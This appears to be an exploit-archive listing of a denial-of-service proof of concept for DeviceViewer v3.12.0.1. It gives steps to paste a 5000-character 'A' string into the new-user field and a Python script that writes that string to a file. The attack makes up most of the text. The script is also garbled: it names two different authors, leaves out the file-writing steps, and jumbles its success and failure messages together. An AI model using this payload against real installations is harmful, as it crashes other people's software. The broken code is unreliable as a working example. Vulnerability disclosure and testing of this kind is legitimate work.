DeviceViewer Denial Of Service

DeviceViewer version suffers from a user creation denial of service vulnerability.

MD5 | b3c5e8f0ea7149b571d789471aa2838a


# Exploit Title: DeviceViewer - 'creating user' DOS buffer overflow
# Date: 9/23/2019
# Exploit Author: x00pwn
# Vendor Homepage:
# Software Link:
# Version: v3.12.0.1
# Tested on: Windows 7

# Steps to reproduce:
# 1. Generate a malicious payload via the POC
# 2. In the Sricam application create a new user
# 3. When creating a new user, set the username as the malicious payload
# 4. Observe a program DOScrash

payload = "A" * 5000

evilCreate =open("exploit.txt","w")
DeviceViewer DOS exploit POC
Author: Nu11pwn
print("[x] Creating malicious file")
print("[x] Malicious file create")
print("[x] When creating a new user, set the username to the file contents")
print("[x] Watch the program crash")
print("[!] File failed to be created")

Related Posts